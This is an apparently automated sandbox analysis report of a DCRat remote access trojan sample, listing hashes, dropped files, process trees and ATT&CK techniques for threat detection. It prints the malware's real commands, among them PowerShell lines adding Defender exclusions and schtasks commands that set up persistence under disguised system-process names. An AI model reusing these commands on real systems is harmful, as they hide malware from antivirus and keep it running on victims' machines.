dcrat | 025f59dd06ad2bd27f44923788303977c9c35274632bd4a0068a4d2d01faec5f

Analysis

max time kernel
88s
max time network
154s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
11-01-2023 05:01

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General

Target

0b0ec65382f89a78a0fe6e8806692b3c.exe
Size

1.4MB
MD5

0b0ec65382f89a78a0fe6e8806692b3c
SHA1

c53d487fe509f97d8f25565afa6b93a7ddc5a32d
SHA256

025f59dd06ad2bd27f44923788303977c9c35274632bd4a0068a4d2d01faec5f
SHA512

7672df5a954cc1be0d507d9e87af0301d70f031ce083b0bb145ba5f45b4de3c5478c27b8f34e8c304e556728e81389c5cde30242f2bb40b3eff7ddbadb0c9c92
SSDEEP

24576:DnTvNh6VDOAxsd05hhdshr0SafxxyiDSvGzNlZhlUmbhL:DLNh6ViAxsqr6r0hfqY/lb2

Score

10^/10

dcrat infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 24 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1624	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1740	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	824	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1724	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1548	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1532	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	948	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	736	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1536	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	968	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1568	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2000	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	884	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	768	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1512	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	240	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1344	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1484	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1300	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1652	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1988	1360	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	588	1360	schtasks.exe

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
behavioral1/memory/1816-54-0x00000000010F0000-0x000000000125E000-memory.dmp	dcrat
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe	dcrat
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe	dcrat
behavioral1/memory/1984-91-0x0000000000FB0000-0x000000000111E000-memory.dmp	dcrat

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

1984 csrss.exe

pid	process
1984	csrss.exe

Drops file in Program Files directory 5 IoCs

Processes:

0b0ec65382f89a78a0fe6e8806692b3c.exe

description	ioc	process
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\69ddcba757bf72	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\RCX6A83.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\RCX6DFD.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe

Drops file in Windows directory 10 IoCs

Processes:

0b0ec65382f89a78a0fe6e8806692b3c.exe

description	ioc	process
File created	C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe
File created	C:\Windows\TAPI\smss.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\TAPI\smss.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\RCX3E5E.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\TAPI\RCX7667.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\TAPI\RCX79D2.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe
File created	C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\27d1bcfc3c54e0	0b0ec65382f89a78a0fe6e8806692b3c.exe
File created	C:\Windows\TAPI\69ddcba757bf72	0b0ec65382f89a78a0fe6e8806692b3c.exe
File opened for modification	C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\RCX3AF3.tmp	0b0ec65382f89a78a0fe6e8806692b3c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 24 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
884	schtasks.exe
240	schtasks.exe
1532	schtasks.exe
968	schtasks.exe
736	schtasks.exe
1568	schtasks.exe
1512	schtasks.exe
1344	schtasks.exe
1724	schtasks.exe
948	schtasks.exe
1548	schtasks.exe
1536	schtasks.exe
1484	schtasks.exe
1652	schtasks.exe
1624	schtasks.exe
1740	schtasks.exe
2000	schtasks.exe
768	schtasks.exe
1256	schtasks.exe
1300	schtasks.exe
1988	schtasks.exe
588	schtasks.exe
824	schtasks.exe
1552	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

0b0ec65382f89a78a0fe6e8806692b3c.execsrss.exe

pid	process
1816	0b0ec65382f89a78a0fe6e8806692b3c.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe
1984	csrss.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

0b0ec65382f89a78a0fe6e8806692b3c.execsrss.exe

description pid process

Token: SeDebugPrivilege 1816 0b0ec65382f89a78a0fe6e8806692b3c.exe
Token: SeDebugPrivilege 1984 csrss.exe

description	pid	process
Token: SeDebugPrivilege	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe
Token: SeDebugPrivilege	1984	csrss.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

0b0ec65382f89a78a0fe6e8806692b3c.execsrss.exe

description	pid	process	target process
PID 1816 wrote to memory of 1172	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1172	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1172	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 992	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 992	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 992	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1672	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1672	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1672	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 368	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 368	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 368	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1624	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1624	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1624	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1456	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1456	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1456	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1476	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1476	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1476	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 2000	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 2000	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 2000	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 424	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 424	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 424	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	powershell.exe
PID 1816 wrote to memory of 1984	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	csrss.exe
PID 1816 wrote to memory of 1984	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	csrss.exe
PID 1816 wrote to memory of 1984	1816	0b0ec65382f89a78a0fe6e8806692b3c.exe	csrss.exe
PID 1984 wrote to memory of 1668	1984	csrss.exe	WScript.exe
PID 1984 wrote to memory of 1668	1984	csrss.exe	WScript.exe
PID 1984 wrote to memory of 1668	1984	csrss.exe	WScript.exe
PID 1984 wrote to memory of 1636	1984	csrss.exe	WScript.exe
PID 1984 wrote to memory of 1636	1984	csrss.exe	WScript.exe
PID 1984 wrote to memory of 1636	1984	csrss.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\0b0ec65382f89a78a0fe6e8806692b3c.exe
"C:\Users\Admin\AppData\Local\Temp\0b0ec65382f89a78a0fe6e8806692b3c.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\0b0ec65382f89a78a0fe6e8806692b3c.exe'
2⤵
PID:1172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe'
2⤵
PID:992

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe'
2⤵
PID:1672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\csrss.exe'
2⤵
PID:368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\spoolsv.exe'
2⤵
PID:1624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'
2⤵
PID:1456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe'
2⤵
PID:1476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\TAPI\smss.exe'
2⤵
PID:2000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\31001cc2-2a3d-11ed-9244-9c23e66b04e4\sppsvc.exe'
2⤵
PID:424

C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe
"C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8e023718-f75d-4261-a67f-9c040c310fca.vbs"
3⤵
PID:1668

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3d36a0d2-2a3b-46ec-ab3b-4b7551233f34.vbs"
3⤵
PID:1636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1740

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\Windows\PCHEALTH\ERRORREP\QSIGNOFF\System.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Users\Default User\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2000

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:768

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1512

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Windows\TAPI\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\TAPI\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Windows\TAPI\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Recovery\31001cc2-2a3d-11ed-9244-9c23e66b04e4\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\31001cc2-2a3d-11ed-9244-9c23e66b04e4\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Recovery\31001cc2-2a3d-11ed-9244-9c23e66b04e4\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe
Filesize
1.4MB

MD5
bf92b5b35c261c0215e830967e38df18

SHA1
9e5ce5125225420ea8e394d9ab91bf8eef5754a9

SHA256
1aff2414b03aa0802b941a3b3dad45fdab9cb6d2ddfb14c4d2366d52aa910f77

SHA512
a8095002ba5bf226dbfd80a64ca102d66c1da21ee062edc40be9fdfa7a043fc5d70945bdd6c4127e8f97b45e0ce42c07d4a9cc35c440b126a81bf84e3d51014c

Download Submit
C:\MSOCache\All Users\{90140000-0115-0409-0000-0000000FF1CE}-C\1033\csrss.exe
Filesize
1.4MB

MD5
bf92b5b35c261c0215e830967e38df18

SHA1
9e5ce5125225420ea8e394d9ab91bf8eef5754a9

SHA256
1aff2414b03aa0802b941a3b3dad45fdab9cb6d2ddfb14c4d2366d52aa910f77

SHA512
a8095002ba5bf226dbfd80a64ca102d66c1da21ee062edc40be9fdfa7a043fc5d70945bdd6c4127e8f97b45e0ce42c07d4a9cc35c440b126a81bf84e3d51014c

Download Submit
C:\Users\Admin\AppData\Local\Temp\3d36a0d2-2a3b-46ec-ab3b-4b7551233f34.vbs
Filesize
529B

MD5
a685210edbd2347a3f068e06a8554627

SHA1
8ca5603c6ee3d646ccf5dd1f9ac056f205e42360

SHA256
6ba0f0b54efa1de5f4bb5b31695a16a4887e398d024c8bdddb446afc43275f4a

SHA512
3fd3d1a71ba78b7ae8d01f573df859ad703f28bd39b3a13580fea2f4e65a3cd6e3a1b30583402866051b56db43f5646d59b44f96444bd6a80aac365d821a8412

Download Submit
C:\Users\Admin\AppData\Local\Temp\8e023718-f75d-4261-a67f-9c040c310fca.vbs
Filesize
753B

MD5
454831c49c975d7598552e06e159d787

SHA1
39f8559290e617bd3098c884c48f26fa723d00ac

SHA256
29ae4cf8d57e8e53126be16b2541ca8f6f1cf7f094b3ec38e3f9eb0bf7651fa6

SHA512
2a6b243bb6b9c3d0b6829ffa8c0761a941f0e7f7f920f5d36b948696fa2bbd95efecfc8e4de797518612396b1610d159978ac26476ddb1a3ea3545f544f07723

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
fc504f11a3f40f9bbe34dfd3689e1ef4

SHA1
548864b3a277204d454383254ee47a9bfd5798ea

SHA256
53adc24596ffd2c6cc195b39475ba21c182e582a58735891d4e60d9260b9ce4e

SHA512
f5652c28babf2cfcb63aa0e5d8ecf606e47c13c6f2e427f1c5b15bf1bc5fe62948598e7b962973261d1fbc8121d889da808349a766407861f6f29286db39b290

Download Submit
memory/368-137-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/368-135-0x000000001B800000-0x000000001BAFF000-memory.dmp

Filesize
3.0MB

Download
memory/368-136-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/368-134-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/368-66-0x0000000000000000-mapping.dmp

Download
memory/368-133-0x000007FEEA300000-0x000007FEEAE5D000-memory.dmp

Filesize
11.4MB

Download
memory/368-132-0x000007FEEC3D0000-0x000007FEECDF3000-memory.dmp

Filesize
10.1MB

Download
memory/424-112-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/424-71-0x0000000000000000-mapping.dmp

Download
memory/424-111-0x00000000023A4000-0x00000000023A7000-memory.dmp

Filesize
12KB

Download
memory/424-94-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/424-114-0x000000001B7F0000-0x000000001BAEF000-memory.dmp

Filesize
3.0MB

Download
memory/424-124-0x00000000023AB000-0x00000000023CA000-memory.dmp

Filesize
124KB

Download
memory/424-122-0x00000000023A4000-0x00000000023A7000-memory.dmp

Filesize
12KB

Download
memory/992-118-0x00000000023EB000-0x000000000240A000-memory.dmp

Filesize
124KB

Download
memory/992-119-0x00000000023E4000-0x00000000023E7000-memory.dmp

Filesize
12KB

Download
memory/992-120-0x00000000023EB000-0x000000000240A000-memory.dmp

Filesize
124KB

Download
memory/992-107-0x00000000023E4000-0x00000000023E7000-memory.dmp

Filesize
12KB

Download
memory/992-102-0x000007FEEAE60000-0x000007FEEB9BD000-memory.dmp

Filesize
11.4MB

Download
memory/992-83-0x000007FEEC3B0000-0x000007FEECDD3000-memory.dmp

Filesize
10.1MB

Download
memory/992-64-0x0000000000000000-mapping.dmp

Download
memory/1172-125-0x0000000002814000-0x0000000002817000-memory.dmp

Filesize
12KB

Download
